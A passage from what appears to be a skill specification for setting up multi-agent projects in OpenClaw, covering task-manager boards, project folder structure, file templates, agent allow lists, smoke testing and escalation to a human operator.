⚠️ [agent-id] (role: FE Designer) — model [model-name]
Concern: This role will review visual mockups, but [model-name] does not
support vision. Consider using a vision-capable model for tasks that
involve images, or assigning that work to a different agent.
⚠️ [agent-id] (role: QA) — model [model-name]
Concern: This model has a [X]% hallucination rate per public benchmarks,
which is high for QA work that needs precise pass/fail judgment.
This is advice — not a blocker.
These are advisory only. You can proceed as-is, change agent models in
your OpenClaw config, or reassign work to different agents.
Proceed? (yes / make changes first)
```
Wait for the user. If they want to change agent models, that's their job — point them at openclaw-administrator. This skill does not set models.
---
## Step 6 — Task Manager Setup
Based on the user's choice in Pass 2:
### If task manager board does NOT exist yet
```
Create the task manager board manually:
1. Log into [Asana / ClickUp]
2. Create a new project / space named: [project_display_name]
3. Set up the columns in this exact order:
[column list from the approved plan]
4. Invite all agent accounts as members
5. Copy the project ID / GID from the board URL
6. Share the ID here when ready
```
### Once the project ID is confirmed
Using the task manager dependency skill (via the client-facing agent, since they own task creation), add a project description / pinned note with:
```
Project: [project_display_name]
Project ID: [project-id]
Client-facing agent: [agent-id]
Feasibility reviewer: [agent-id]
QA: [agent-id]
Operator: [operator-alias or N/A]
Shared workspace: [path or description]
Task manager column meanings: [brief column legend]
```
Record the task manager project ID — it goes in `project.json`.
---
## Step 7 — Create Project Folder Structure
This creates the entire project at `~/.openclaw/projects/[project-id]/`. Read `references/project-files.md` for the full specification of each file.
### Folder layout
```
~/.openclaw/projects/[project-id]/
├── PROJECT.md ← Team rulebook from the approved plan
├── project.json ← Machine-readable config
├── project-lock.json ← Phase tracker (initialized to "idle")
├── STATE.md ← Human-readable status
├── SHARED_MEMORY.md ← Cross-agent knowledge store
├── DECISIONS.md ← Append-only decision log
├── KNOWN_ISSUES.md ← Accepted limitations / debt
├── RUNBOOK.md ← Project operating guide (stub initially)
├── workspace/
│ ├── [shared medium] ← Repo, folder, files, depending on team
│ ├── [media-folder/] ← Only if team uses visual/media assets
│ ├── SPEC-CURRENT.md ← Current accepted spec / brief
│ └── DELIVERABLES_GUIDE.md ← Feasibility-reviewer's task plan (was IMPLEMENTATION_GUIDE.md)
└── queues/
├── to-[client-facing-role].md
├── to-[feasibility-reviewer-role].md
├── to-[feasibility-reviewer-role]-feasibility.md
├── to-[qa-role].md
├── to-[operator].md ← Only if operator was specified
└── to-[other-role].md ← One per other role on the team
```
### Building each file
**PROJECT.md** — generate from the PROJECT.md template in `references/templates.md`, filling every placeholder with the approved plan content from Step 4. This is the single most important file — it must be complete and operational. Use the placeholder reference table at the bottom of `references/templates.md` to map each placeholder to its source.
**project.json** — generate from the project.json template in `references/templates.md`. Validate the result is valid JSON before writing. Fill in:
- `id` and `name` from Pass 1
- `task_manager` block — type (asana / clickup), project ID, columns
- `participants` — every agent with their project role and OpenClaw workspace path
- `client_facing_role`, `feasibility_reviewer_role`, `qa_role`, `operator` — pointers to the right roles
- `shared_workspace` and `shared_medium` — type and path/URL
- `visual_assets` block — only if the team uses media (Pass 2 #7)
- `queues` — file paths for each role's queue
- `escalation_rules` — values from Pass 2 #6
**project-lock.json** — initialize:
```json
{
"phase": "idle",
"sprint_id": null,
"sprint_opened": null,
"waiting_on": null,
"last_updated": "[today]",
"last_updated_by": "operator",
"context": "Project initialized. Ready to receive first work.",
"blocked_tasks": []
}
```
**STATE.md** — initialize:
```markdown
# [project_display_name] — Current State
**Phase:** Idle — Ready for first work
**Last updated:** [today] by operator
```
**Queue files** — initialize each one with header:
```
# Queue: to-[role]
# Format: [YYYY-MM-DD HH:MM] [FROM: agent-id] [TO: agent-id] [TASK: task-id or N/A]
# Append-only. Never delete entries. Mark processed with [READ].
```
**SHARED_MEMORY.md, DECISIONS.md, KNOWN_ISSUES.md** — each gets a header and an empty body.
**RUNBOOK.md** — generate a stub with section headers appropriate for the team type, plus a note:
```
This is a starting stub. The feasibility-reviewer should expand each section
as they learn the project. Devs / contributors read this before starting work.
```
**Shared medium initialization:**
- Git repo: `cd ~/.openclaw/projects/[project-id]/workspace && git clone [ssh-url] [repo-name]`
- Folder/Drive: create `workspace/[folder-name]/` and add a `LINKS.md` file with the external URL if not local
- CRM/external: skip — write a `workspace/EXTERNAL_SYSTEM.md` describing where work happens
- None: skip
**Media folder** — only if Pass 2 #7 was yes:
```bash
mkdir -p ~/.openclaw/projects/[project-id]/workspace/[media-folder-name]
```
---
## Step 8 — Update Agent Workspaces
For each participating agent, append (or update) an Active Projects section in their `AGENTS.md`:
```markdown
## Active Projects
- **[project_display_name]** — I am the [role] on this project.
- Full rules: ~/.openclaw/projects/[project-id]/PROJECT.md
- My queue: ~/.openclaw/projects/[project-id]/queues/to-[my-role].md
- Shared workspace: ~/.openclaw/projects/[project-id]/workspace/
- Check my queue at the start of every session before doing anything else.
- Check ~/.openclaw/projects/[project-id]/project-lock.json to know what
phase we are in before acting.
```
If the agent is already on other projects, **append** — do not overwrite. The agent should see all their active projects.
---
## Step 9 — Update OpenClaw Config
Use openclaw-administrator to update each participating agent's `agent_to_agent` allow list so agents on this project can communicate. The allow list should include every other agent on the project.
Be careful: if the agent is already on other projects, they may already have entries in their allow list for those project members. **Merge, don't replace.**
Example: if agent `engineer` is on projects A and B:
- Project A members: `pm-agent-a, dev-fe, dev-be, qa`
- Project B members: `pm-agent-b, designer, copywriter, qa`
- Final allow list for `engineer`: `pm-agent-a, dev-fe, dev-be, qa, pm-agent-b, designer, copywriter`
After updating, verify:
```
openclaw agents list --verbose
Confirm each agent's allow list includes all project members.
```
---
## Step 10 — Smoke Test
```
SMOKE TEST
Step 1: Manually create a test task in the [task-manager] [first-stage column]:
Title: [TEST] Smoke test — verify [project-id]
Description: Test task. The [client-facing role] agent should pick this up,
acknowledge it, and either move it forward or post to a queue.
Step 2: Wait for the [client-facing role] agent's next heartbeat (up to 30 min).
Watch for: task gaining a comment, or moving to another column.
Step 3: Confirm the agent is reading from the project folder.
- Check [client-facing role] agent's session log
- Should see references to ~/.openclaw/projects/[project-id]/PROJECT.md
and the agent's queue file
Step 4: Confirm queue files are writable.
- Either: trigger a small interaction that produces a queue entry
- Or: manually write a test entry to one queue file and verify the
receiving agent picks it up next session
Heartbeat confirmed working? (yes / no — describe what happened)
```
If something fails here, do not move to Step 11. Diagnose:
- Agent didn't pick up task → check their AGENTS.md has the project reference, check their task manager skill is installed and authenticated
- Agent picked up task but didn't write to queue → check `project-lock.json` is readable and `queues/` files exist with correct permissions
- Agent-to-agent message didn't arrive → check OpenClaw config allow list from Step 9
---
## Step 11 — Post-Setup Snapshot and Handoff
### Snapshot
If openclaw-recovery-manager is installed:
```
Take post-setup snapshot.
Label: post-project-setup-[project-id]-[date]-confirmed
```
### Handoff Summary
```
PROJECT SETUP COMPLETE
Project: [project_display_name] ([project-id])
Type: [team_type]
Folder: ~/.openclaw/projects/[project-id]/
ROSTER:
[role] | [agent-id] | [model]
[client-facing role] | [agent-id] | [model]
[feasibility role] | [agent-id] | [model]
[qa role] | [agent-id] | [model]
[operator] | human
TASK MANAGER:
Type: [Asana / ClickUp]
Project ID: [id]
Stages: [column list]
SHARED WORKSPACE:
[path or description]
[Repo SSH URL if applicable]
HOW TO START WORK:
Send your first requirements / brief / intake to [client-facing-agent-id].
The team will:
1. Validate feasibility through [feasibility-reviewer]
2. Get your sign-off on the plan
3. Execute through [executing-roles]
4. Quality-review through [qa-role]
5. Notify [operator or you] when ready for sign-off
ESCALATION:
Stuck > [X]h or [Y] re-escalations → work stops, [operator] notified
Client no response > [Z]h → [operator] gets a message
ADD ANOTHER PROJECT:
Run this skill again. Same agents can join multiple projects without conflict.
RECOVERY:
Pre-setup snapshot: pre-project-setup-[project-id]-[date]
Post-setup snapshot: post-project-setup-[project-id]-[date]-confirmed
```
---
## If Anything Goes Wrong
```
Option 1 — Recover using openclaw-recovery-manager:
Restore: pre-project-setup-[project-id]-[date]
Returns config to the state before setup began.
Option 2 — Diagnose with openclaw-administrator:
Run diagnostics, identify what failed, retry just that step.
Option 3 — Describe what step failed and what error appeared.
I can walk through the failed step again.
```
---
## Adding Agents to an Existing Project Later
If the user runs this skill against an existing project with the same project ID:
1. Detect the existing project folder
2. Ask: "Project [id] already exists. Are you adding agents, changing the structure, or something else?"
3. If adding agents: run only Pass 1 question 4 (agent assignment), check capabilities, update participants in `project.json`, append to AGENTS.md for new agents only, update allow lists in OpenClaw config
4. If changing structure: walk through the relevant interview sections, regenerate PROJECT.md, leave history files (DECISIONS.md, SHARED_MEMORY.md) intact
Do not overwrite history files (DECISIONS.md, SHARED_MEMORY.md, queue archives) under any circumstance.
FILE:references/templates.md
# Templates
Parameterized templates for files this skill generates. Read this when filling out
the project folder in Step 7 of SKILL.md. Substitute every `{{placeholder}}` with the
appropriate value from the user's interview answers and approved plan.
---
## Table of Contents
- [PROJECT.md Template](#projectmd-template)
- [project.json Template](#projectjson-template)
- [project-lock.json (Initial State)](#project-lockjson-initial-state)
- [STATE.md (Initial)](#statemd-initial)
- [Empty File Headers](#empty-file-headers)
- [AGENTS.md Active Projects Block](#agentsmd-active-projects-block)
- [Placeholder Reference](#placeholder-reference)
---
## PROJECT.md Template
The team rulebook. This is the single most important generated file — every agent
reads it. Fill in every placeholder, expand every conditional. If a section
doesn't apply (e.g. `{{#if visual_assets_enabled}}` is false), omit the entire
section rather than leaving an empty heading.
```markdown
# Project: {{project_display_name}}
**Project ID:** {{project_id}}
**Type:** {{team_type}}
**Purpose:** {{project_purpose}}
---
## The Team
{{#each participants}}
- **{{role}} ({{agentId}})** — {{role_description}}
{{/each}}
{{#if operator}}
- **Operator (Human, alias: {{operator}})** — Final authority. Sign-off, unresolvable escalations, client engagement when agents can't reach the client.
{{/if}}
---
## Source of Truth
| What | Where |
|---|---|
| Task ownership and status | {{task_manager_type}} |
| Accepted scope | `workspace/SPEC-CURRENT.md` |
| How to produce deliverables | `workspace/DELIVERABLES_GUIDE.md` |
| Cross-agent knowledge | `SHARED_MEMORY.md` |
| Decision history | `DECISIONS.md` |
| Accepted limitations | `KNOWN_ISSUES.md` |
| Project conventions | `RUNBOOK.md` |
| Current phase and ownership | `project-lock.json` |
| Human-readable status | `STATE.md` |
---
## Stages ({{task_manager_type}} Columns)
| Stage | Meaning | Owner |
|---|---|---|
{{#each stages}}
| {{name}} | {{purpose}} | {{owner}} |
{{/each}}
---
## Shared Working Medium
**Type:** {{shared_medium_type}}
**Location:** {{shared_medium_location}}
{{shared_medium_conventions}}
---
{{#if visual_assets_enabled}}
## Visual / Media Assets
When a task involves visual or media reference material:
- **Primary storage:** {{task_manager_type}} task attachments (retrieved via the installed {{task_manager_type}} skill)
- **Fallback storage:** `./workspace/{{media_folder_name}}/`
- **Naming convention:** `{{visual_naming_convention}}`
- **Task description must reference the asset filename** so executors and QA can locate it
**Vision-required roles:** {{vision_required_roles_list}}
These roles should use a vision-capable model when working with tasks that reference visual assets. If the asset cannot be retrieved from either source, treat it as a blocker and escalate per normal escalation rules.
---
{{/if}}
## Workflow
### Phase 1: Intake
**Owner:** {{client_facing_role}}
**Lock phase:** `intake`
1. {{client_facing_role}} receives or drafts {{intake_term}} from the client.
2. {{client_facing_role}} writes a draft to `workspace/SPEC-v[N]-[YYYY-MM-DD].md` (new version, never overwrite). Updates `SPEC-CURRENT.md`.
3. {{client_facing_role}} posts to `queues/to-{{feasibility_reviewer_role}}-feasibility.md`: "New scope draft ready for feasibility review."
4. {{feasibility_reviewer_role}} reviews for {{feasibility_concerns}}. Posts numbered issues back.
5. {{client_facing_role}} translates issues to client-friendly language. Sends to client via email skill or `to-{{operator}}.md` for relay.
6. Client responds to each numbered issue: Accept / Provide solution / Descope.
7. {{client_facing_role}} logs response in `DECISIONS.md` verbatim with date.
8. Loop until all issues resolved. {{feasibility_reviewer_role}} marks `SPEC-CURRENT.md` ACCEPTED.
9. `project-lock.json` → phase: `planning`.
**Client no-response rule:** No response in {{client_no_response_hours}}h → client-facing follows up. Still no response → posts to `to-{{operator}}.md`. Task moves to Blocked.
### Phase 2: Planning
**Owner:** {{feasibility_reviewer_role}}
**Lock phase:** `planning`
1. {{feasibility_reviewer_role}} writes `workspace/DELIVERABLES_GUIDE.md`. Each numbered section = one task.
2. Updates `KNOWN_ISSUES.md` with limitations accepted during intake.
3. Posts to `to-{{client_facing_role}}.md`: "Deliverables guide ready."
4. {{client_facing_role}} creates tasks in {{task_manager_type}} from guide, assigns to roles, places in {{first_stage_name}}.
5. `project-lock.json` → phase: `execution`, sprint_id set.
### Phase 3: Execution
**Owner:** Executors (per assigned task)
**Escalation owner:** {{feasibility_reviewer_role}}
1. Executor picks up task → moves to "In Progress" stage.
2. Reads DELIVERABLES_GUIDE.md, RUNBOOK.md, their queue.
{{#if visual_assets_enabled}}
3. If task references a visual asset and executor's role requires vision: switch to vision-capable model, retrieve asset.
{{/if}}
4. Produces deliverable in shared medium ({{shared_medium_type}}).
5. When complete: {{completion_action}}, move task to "In Review" stage, post to `to-{{qa_role}}.md`.
**Hard stop rule (universal):** If executor escalates same issue {{stuck_re_escalations_threshold}}x to reviewer OR is stuck {{stuck_hours_threshold}}h, executor stops. Posts full summary to `to-{{client_facing_role}}.md`. {{client_facing_role}} posts to `to-{{operator}}.md`. Task moves to Blocked. **No further AI cycles spent until operator resolves.**
### Phase 4: Review
**Owner:** {{qa_role}}
1. {{qa_role}} picks up task from "In Review" stage.
2. Reads KNOWN_ISSUES.md, SPEC-CURRENT.md, DELIVERABLES_GUIDE.md.
{{#if visual_assets_enabled}}
3. If deliverable includes visual output and task references a mockup: use vision to compare output to reference.
{{/if}}
4. Reviews against all references.
**Pass:** Move task to "Completed". Post to `to-{{operator}}.md` with deliverable pointer.
**Fail:** Post specific failures to `to-{{feasibility_reviewer_role}}.md`. Move task back to "In Progress".
{{#if operator}}
### Phase 5: {{operator}} Sign-off
1. {{operator}} reviews `to-{{operator}}.md`.
2. {{operator}} validates the deliverable (pulls/reviews/tests as appropriate for medium).
3. If satisfied: {{operator}} approves delivery via {{delivery_action}}.
4. `project-lock.json` → `phase: close`.
{{/if}}
### Phase 6: Close
**Owner:** {{client_facing_role}}
1. Verify all sprint tasks are "Completed" in {{task_manager_type}}.
2. Archive completed tasks.
3. Verify DECISIONS.md and KNOWN_ISSUES.md are current.
4. Write sprint summary to SHARED_MEMORY.md.
5. Update STATE.md: "Sprint [N] closed. Ready for next intake."
6. Archive queue entries (mark READ, do not delete).
7. `project-lock.json` → `phase: idle`.
8. Post to `to-{{operator}}.md`: "Sprint closed."
{{#if sprint_mode_one_at_a_time}}
**One sprint at a time:** {{client_facing_role}} does not accept new intake until project-lock.json is `idle`.
{{else}}
**Continuous flow:** {{client_facing_role}} can accept new intake at any time.
{{/if}}
---
## Escalation Rules
| Situation | Action | Threshold |
|---|---|---|
| Client not responding | {{client_facing_role}} follows up; then to operator | {{client_no_response_hours}}h |
| Executor stuck on task | Escalate to {{feasibility_reviewer_role}} | Immediately |
| Same issue re-escalated {{stuck_re_escalations_threshold}}x | Hard stop; client-facing → operator | {{stuck_re_escalations_threshold}} escalations |
| Executor stuck {{stuck_hours_threshold}}h | Hard stop; client-facing → operator | {{stuck_hours_threshold}}h |
| Task in Blocked with no movement | Client-facing → operator | {{blocked_task_operator_escalation_hours}}h |
**No agent continues spending AI cycles on a blocked path.**
---
## Communication Protocol
All inter-agent communication uses queue files in `queues/`.
**Format:**
[YYYY-MM-DD HH:MM] [FROM: agent-id] [TO: agent-id] [TASK: task-id or N/A]
Message body. Be specific.
---
- Queues are append-only. Never delete entries.
- Mark processed entries with `[READ]` — do not remove the line.
- Archive at sprint close.
- Each agent checks their queue at session start, before any other action.
- `to-{{feasibility_reviewer_role}}-feasibility.md` is used **only during intake phase**.
---
## Reference Block for Each Agent's AGENTS.md
Every participating agent's workspace AGENTS.md must include the block defined
in [AGENTS.md Active Projects Block](#agentsmd-active-projects-block) below.
{{#each user_specific_notes}}
---
## {{section_title}}
{{section_body}}
{{/each}}
```
---
## project.json Template
Machine-readable project config. Substitute every placeholder, then validate the
result is valid JSON before writing to disk.
```json
{
"id": "{{project_id}}",
"name": "{{project_display_name}}",
"purpose": "{{project_purpose}}",
"team_type": "{{team_type}}",
"task_manager": {
"type": "{{task_manager_type}}",
"project_id": "{{task_manager_project_id}}",
"columns": {
"{{stage_key_1}}": { "id": "{{stage_id_1}}", "purpose": "{{stage_purpose_1}}" },
"{{stage_key_2}}": { "id": "{{stage_id_2}}", "purpose": "{{stage_purpose_2}}" },
"{{stage_key_3}}": { "id": "{{stage_id_3}}", "purpose": "{{stage_purpose_3}}" },
"{{stage_key_4}}": { "id": "{{stage_id_4}}", "purpose": "{{stage_purpose_4}}" },
"{{stage_key_5}}": { "id": "{{stage_id_5}}", "purpose": "{{stage_purpose_5}}" },
"blocked": { "id": "{{blocked_stage_id}}", "purpose": "Work waiting on external resolution. Client-facing agent owns escalation." }
}
},
"participants": [
{
"agentId": "{{participant_agent_id}}",
"workspace": "{{participant_workspace_path}}",
"role": "{{participant_role_display}}",
"role_key": "{{participant_role_key}}"
}
],
"client_facing_role": "{{client_facing_role_key}}",
"feasibility_reviewer_role": "{{feasibility_reviewer_role_key}}",
"qa_role": "{{qa_role_key}}",
"operator": "{{operator_alias_or_null}}",
"shared_workspace": "./workspace",
"shared_medium": {
"type": "{{shared_medium_type}}",
"path_or_url": "{{shared_medium_location}}",
"convention_notes": "{{shared_medium_conventions}}"
},
"spec_path": "./workspace/SPEC-CURRENT.md",
"deliverables_guide_path": "./workspace/DELIVERABLES_GUIDE.md",
"shared_memory": "./SHARED_MEMORY.md",
"decisions_log": "./DECISIONS.md",
"known_issues": "./KNOWN_ISSUES.md",
"runbook": "./RUNBOOK.md",
"queues": {
"{{client_facing_role_key}}": "./queues/to-{{client_facing_role_key}}.md",
"{{feasibility_reviewer_role_key}}": "./queues/to-{{feasibility_reviewer_role_key}}.md",
"{{feasibility_reviewer_role_key}}_feasibility": "./queues/to-{{feasibility_reviewer_role_key}}-feasibility.md",
"{{qa_role_key}}": "./queues/to-{{qa_role_key}}.md",
"operator": "./queues/to-{{operator_alias_or_null}}.md"
},
"visual_assets": {
"enabled": false,
"primary_storage": "task_manager_attachments",
"fallback_storage": "./workspace/{{media_folder_name}}",
"naming_convention": "[task-id]-[short-description].[ext]",
"vision_required_roles": []
},
"escalation_rules": {
"client_no_response_hours": 48,
"stuck_re_escalations_threshold": 2,
"stuck_hours_threshold": 24,
"blocked_task_operator_escalation_hours": 48
},
"sprint_mode": "one_at_a_time"
}
```
If `visual_assets.enabled` is set to `true`, populate `vision_required_roles` with
the role keys that need vision capability. Set `fallback_storage` to the actual
media folder path the skill creates in `workspace/`.
If there is no operator, set `"operator": null` (without quotes) and **omit the
`"operator"` key from the `queues` block entirely** rather than leaving it
pointing at a queue file that won't exist.
---
## project-lock.json (Initial State)
Initialize fresh on every project creation:
```json
{
"phase": "idle",
"sprint_id": null,
"sprint_opened": null,
"waiting_on": null,
"last_updated": "{{today_iso_date}}",
"last_updated_by": "operator",
"context": "Project initialized. Ready to receive first work.",
"blocked_tasks": []
}
```
---
## STATE.md (Initial)
Initialize fresh on every project creation:
```markdown
# {{project_display_name}} — Current State
**Phase:** Idle — Ready for first work
**Last updated:** {{today_iso_date}} by operator
```
---
## Empty File Headers
Use these for the files that start empty but need a header so agents know what
they are.
### SHARED_MEMORY.md
```markdown
# {{project_display_name}} — Shared Memory
Cross-agent knowledge that needs to persist across sessions but doesn't belong
in the task manager. Append entries with date and author.
Format for new entries:
## [YYYY-MM-DD] [agent-id] — [topic]
Content here.
---
```
### DECISIONS.md
```markdown
# {{project_display_name}} — Decision Log
Append-only record of every significant decision made during intake or scope
negotiation. Never edit existing entries. Written by {{client_facing_role}}.
Format for new entries:
## [YYYY-MM-DD] — [Sprint ID]: [Decision Topic]
**Issue surfaced by [feasibility reviewer]:** ...
**Client response (received [date]):** ...
**Resolution:** Accept as known outcome / Client-proposed alternative / Descoped
**Accepted by:** [Client name], [feasibility reviewer agent], [client-facing agent]
**Logged by:** [client-facing agent]
---
```
### KNOWN_ISSUES.md
```markdown
# {{project_display_name}} — Known Issues
Accepted limitations and trade-offs. QA reads this before reviewing — do not
file failures against items here. Written by {{feasibility_reviewer_role}}.
Format for new entries:
## [Sprint ID] — [Issue Title]
- **Accepted:** [date]
- **Context:** [why this limitation exists]
- **Impact:** [what users/clients/operators will experience]
---
```
### RUNBOOK.md (stub)
```markdown
# {{project_display_name}} — Runbook
This is a starting stub. The {{feasibility_reviewer_role}} should expand each
section as they learn the project. All agents read this before starting work.
## Local Setup / Access
How to access the shared working medium ({{shared_medium_type}}).
## Conventions
How this team formats work, names things, and structures deliverables.
## Definition of Done
What counts as complete on this project.
## Known Gotchas
Pitfalls specific to this project — things that have tripped up agents before.
{{#each team_type_specific_sections}}
## {{section_title}}
{{section_body_or_placeholder}}
{{/each}}
```
### Queue Files
Initialize each queue file with:
```markdown
# Queue: to-{{role_key}}
Format for entries:
[YYYY-MM-DD HH:MM] [FROM: agent-id] [TO: agent-id] [TASK: task-id or N/A]
Message body. Be specific.
---
Append-only. Never delete entries. Mark processed entries with [READ] prepended.
Archive at sprint close (mark READ, leave in place).
```
---
## AGENTS.md Active Projects Block
Insert (or append) this block in each participating agent's workspace AGENTS.md.
If the agent is already on other projects, append — never overwrite.
```markdown
## Active Projects
- **{{project_display_name}}** — I am the {{my_role}} on this project.
- Full rules: ~/.openclaw/projects/{{project_id}}/PROJECT.md
- My queue: ~/.openclaw/projects/{{project_id}}/queues/to-{{my_role_key}}.md
- Shared workspace: ~/.openclaw/projects/{{project_id}}/workspace/
- Check my queue at the start of every session before doing anything else.
- Check ~/.openclaw/projects/{{project_id}}/project-lock.json to know what
phase we are in before acting.
```
---
## Placeholder Reference
Every placeholder used across the templates above. Source column tells you
where the value comes from.
| Placeholder | Source |
|---|---|
| `{{project_id}}` | Pass 1 #3 |
| `{{project_display_name}}` | Pass 1 #3 |
| `{{project_purpose}}` | Pass 1 #1 |
| `{{team_type}}` | Pass 1 #2 |
| `{{participants}}` (list) | Pass 1 #4 — each entry has `agentId`, `role`, `role_key`, `role_description`, `workspace` |
| `{{operator}}` | Pass 1 #8 (alias) or null |
| `{{client_facing_role}}` | Pass 1 #5 (display name) |
| `{{client_facing_role_key}}` | Pass 1 #5 (slug form) |
| `{{feasibility_reviewer_role}}` | Pass 1 #6 (display name) |
| `{{feasibility_reviewer_role_key}}` | Pass 1 #6 (slug) |
| `{{qa_role}}` | Pass 1 #7 (display name) |
| `{{qa_role_key}}` | Pass 1 #7 (slug) |
| `{{task_manager_type}}` | Pass 2 #1 — `asana` or `clickup` |
| `{{task_manager_project_id}}` | From Step 6 (after board creation) |
| `{{stages}}` (list) | Pass 2 #2 — each has `name`, `key`, `id`, `purpose`, `owner` |
| `{{first_stage_name}}` | Pass 2 #2 (first column) |
| `{{shared_medium_type}}` | Pass 2 #3 — `git`, `folder`, `external_system`, or `none` |
| `{{shared_medium_location}}` | Pass 2 #3 |
| `{{shared_medium_conventions}}` | Inferred in Step 4, user-confirmed |
| `{{visual_assets_enabled}}` | Pass 2 #7 (boolean) |
| `{{media_folder_name}}` | Inferred from team type — e.g. `mockups`, `photos`, `media` |
| `{{visual_naming_convention}}` | Default: `[task-id]-[short-description].[ext]` |
| `{{vision_required_roles_list}}` | Inferred in Step 4 from team type |
| `{{intake_term}}` | Per team type — e.g. "requirements", "brief", "lead" |
| `{{feasibility_concerns}}` | Per team type — see team-archetypes.md |
| `{{completion_action}}` | Per team type — e.g. "push to sprint branch and update PR" |
| `{{delivery_action}}` | Per team type — e.g. "merge to main", "send to client", "publish to MLS" |
| `{{sprint_mode_one_at_a_time}}` | Pass 2 #5 (boolean) |
| `{{client_no_response_hours}}` | Pass 2 #6 (default 48) |
| `{{stuck_hours_threshold}}` | Pass 2 #6 (default 24) |
| `{{stuck_re_escalations_threshold}}` | Pass 2 #6 (default 2) |
| `{{blocked_task_operator_escalation_hours}}` | Default 48 |
| `{{user_specific_notes}}` | Pass 2 #8 (free-form additions) |
| `{{today_iso_date}}` | Today's date in YYYY-MM-DD |
| `{{my_role}}` / `{{my_role_key}}` | Per-agent when generating their AGENTS.md block |
FILE:references/project-files.md
# Project Files Reference
Full specification of every file in `~/.openclaw/projects/[project-id]/`.
Universal — applies to any team type.
---
## Table of Contents
- [PROJECT.md — Team Rulebook](#projectmd--team-rulebook)
- [project.json — Machine Config](#projectjson--machine-config)
- [project-lock.json — Phase Tracker](#project-lockjson--phase-tracker)
- [STATE.md — Human Status](#statemd--human-status)
- [SHARED_MEMORY.md — Cross-Agent Knowledge](#shared_memorymd--cross-agent-knowledge)
- [DECISIONS.md — Decision Log](#decisionsmd--decision-log)
- [KNOWN_ISSUES.md — Accepted Limitations](#known_issuesmd--accepted-limitations)
- [RUNBOOK.md — Project Operating Guide](#runbookmd--project-operating-guide)
- [workspace/SPEC-CURRENT.md](#workspacespec-currentmd)
- [workspace/DELIVERABLES_GUIDE.md](#workspacedeliverables_guidemd)
- [Queue Files](#queue-files)
- [File Responsibility Matrix](#file-responsibility-matrix)
---
## PROJECT.md — Team Rulebook
**The most important file in the project folder.** Every participating agent has this referenced from their AGENTS.md and reads it before taking action. It is the single source of truth for how the team operates on this project.
### Who reads it
All agents on the project, at every session start.
### Who writes it
Generated by this skill from the user's interview answers (after Step 4 approval). Updated by operator only when workflow rules change.
### Required sections
A complete PROJECT.md must contain:
1. **Project header** — display name, ID, purpose, team type
2. **The Team** — every agent on the project, their role, what they own and do not own
3. **Source of Truth** — table mapping "what" to "where"
4. **Stages** (task manager columns) — name, meaning, who owns it
5. **Shared Working Medium** — what it is, how to access, conventions for use
6. **Visual / Media Assets** — only if applicable: storage convention, vision-required roles
7. **Workflow** — every phase from intake to close, with steps, owners, and queue references
8. **Escalation Rules** — thresholds, who escalates to whom, when work stops
9. **Communication Protocol** — queue file format, when to check, append-only rules
10. **AGENTS.md Reference Block** — the snippet that goes in each agent's AGENTS.md
See the PROJECT.md template in `references/templates.md` for the parameterized template.
---
## project.json — Machine Config
Machine-readable project configuration. Agents read this to resolve file paths, task manager IDs, and participant details without relying on hardcoded values.
### Who reads it
All agents.
### Who writes it
Generated by this skill. Updated by operator when project structure changes.
### Schema
```json
{
"id": "string — lowercase project identifier",
"name": "string — display name",
"purpose": "string — one-line description of project goal",
"team_type": "string — software_dev | marketing | real_estate | content | sales | customer_success | operations | research | custom",
"task_manager": {
"type": "asana | clickup",
"project_id": "string — task manager's project/workspace ID",
"columns": {
"stage_key": { "id": "string", "purpose": "string" }
}
},
"participants": [
{
"agentId": "string",
"workspace": "string — relative path to agent's OpenClaw workspace",
"role": "string — display name (e.g. 'Project Manager')",
"role_key": "string — machine slug (e.g. 'pm')"
}
],
"client_facing_role": "string — role_key of client-facing agent",
"feasibility_reviewer_role": "string — role_key",
"qa_role": "string — role_key",
"operator": "string — operator alias, or null if no operator",
"shared_workspace": "./workspace",
"shared_medium": {
"type": "git | folder | external_system | none",
"path_or_url": "string — local path or external URL",
"convention_notes": "string — brief notes on usage"
},
"spec_path": "./workspace/SPEC-CURRENT.md",
"deliverables_guide_path": "./workspace/DELIVERABLES_GUIDE.md",
"shared_memory": "./SHARED_MEMORY.md",
"decisions_log": "./DECISIONS.md",
"known_issues": "./KNOWN_ISSUES.md",
"runbook": "./RUNBOOK.md",
"queues": {
"role_key": "string — relative path to queue file"
},
"visual_assets": {
"enabled": "boolean",
"primary_storage": "task_manager_attachments | workspace_folder | none",
"fallback_storage": "string — relative path to media folder, or null",
"naming_convention": "string — e.g. '[task-id]-[short-description].[ext]'",
"vision_required_roles": ["array of role_keys"]
},
"escalation_rules": {
"client_no_response_hours": "number",
"stuck_re_escalations_threshold": "number",
"stuck_hours_threshold": "number",
"blocked_task_operator_escalation_hours": "number"
},
"sprint_mode": "one_at_a_time | continuous"
}
```
### Notes
- All file paths use relative paths from project root
- Task manager column IDs must be filled in from the actual board after creation
- `visual_assets.enabled: false` if the team doesn't use media — the entire block can still be present, just disabled
- `operator: null` for fully autonomous teams (rare)
---
## project-lock.json — Phase Tracker
Prevents agents from acting out of phase or moving forward when waiting on another agent or the operator.
### Who reads it
All agents check this at session start before any action.
### Who writes it
Client-facing agent (most phase transitions), feasibility-reviewer (planning → execution), QA (after sign-off), operator (close → idle).
### Phase progression
`idle` → `intake` → `planning` → `execution` → `review` → `close` → `idle`
These phase names replace the dev-specific names. Translation:
- `intake` = formerly "requirements" (universal: receiving and validating new work)
- `planning` = same (defining how the work gets done)
- `execution` = formerly "implementation" (universal: doing the work)
- `review` = formerly "qa" (universal: quality review before delivery)
- `close` = formerly "sprint-close" (universal: wrap up and reset)
### Format
```json
{
"phase": "string — one of the phase names above",
"sprint_id": "string or null",
"sprint_opened": "string ISO date or null",
"waiting_on": "string agent-id, 'client', 'operator', or null",
"last_updated": "string ISO date",
"last_updated_by": "string — agent-id or 'operator'",
"context": "string — human-readable description of current state",
"blocked_tasks": ["array of task identifiers"]
}
```
### Agent behavior rules
- Phase doesn't match my expected action → stop and post to relevant queue
- `waiting_on` is me → act immediately
- `blocked_tasks` contains my task → treat as stopped, do not work on it
---
## STATE.md — Human Status
Operator's quick-glance status without digging through queues or task manager.
### Who reads it
Operator primarily. Agents may read for context.
### Who writes it
All agents update when they complete a significant action.
### Format
```markdown
# [Project Name] — Current State
**Phase:** [phase] ([sprint_id if applicable])
**Last updated:** [YYYY-MM-DD HH:MM] by [agent-id]
## Sprint / Work in Flight
- ✅ [Task ID] — [description] (delivered)
- 🔄 [Task ID] — [description] (in progress, [agent])
- ⏳ [Task ID] — [description] (queued)
- 🚫 [Task ID] — [description] (blocked — [reason])
## Operator Queue Summary
[Summary of items in to-operator.md awaiting action]
```
---
